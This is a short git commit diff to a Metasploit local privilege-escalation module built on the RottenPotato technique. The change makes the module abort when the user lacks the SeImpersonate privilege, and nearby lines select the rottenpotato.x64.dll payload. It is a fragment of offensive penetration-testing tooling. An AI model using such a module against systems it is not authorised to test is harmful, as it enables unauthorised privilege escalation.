Fixed check to you know, check.
parent
ce59964141
commit
9a45c66db4
|
@ -107,7 +107,9 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
my_target = assign_target
|
my_target = assign_target
|
||||||
print_status("#{my_target['Arch']}")
|
print_status("#{my_target['Arch']}")
|
||||||
verify_arch(my_target)
|
verify_arch(my_target)
|
||||||
check
|
if check == Exploit::CheckCode::Safe
|
||||||
|
fail_with(Failure::NoAccess, 'User does not have SeImpersonate Privilege')
|
||||||
|
end
|
||||||
if my_target.opts['Arch'] == 'x64'
|
if my_target.opts['Arch'] == 'x64'
|
||||||
dll_file_name = 'rottenpotato.x64.dll'
|
dll_file_name = 'rottenpotato.x64.dll'
|
||||||
vprint_status("Assigning payload rottenpotato.x64.dll")
|
vprint_status("Assigning payload rottenpotato.x64.dll")
|
||||||
|
|
Loading…
Reference in New Issue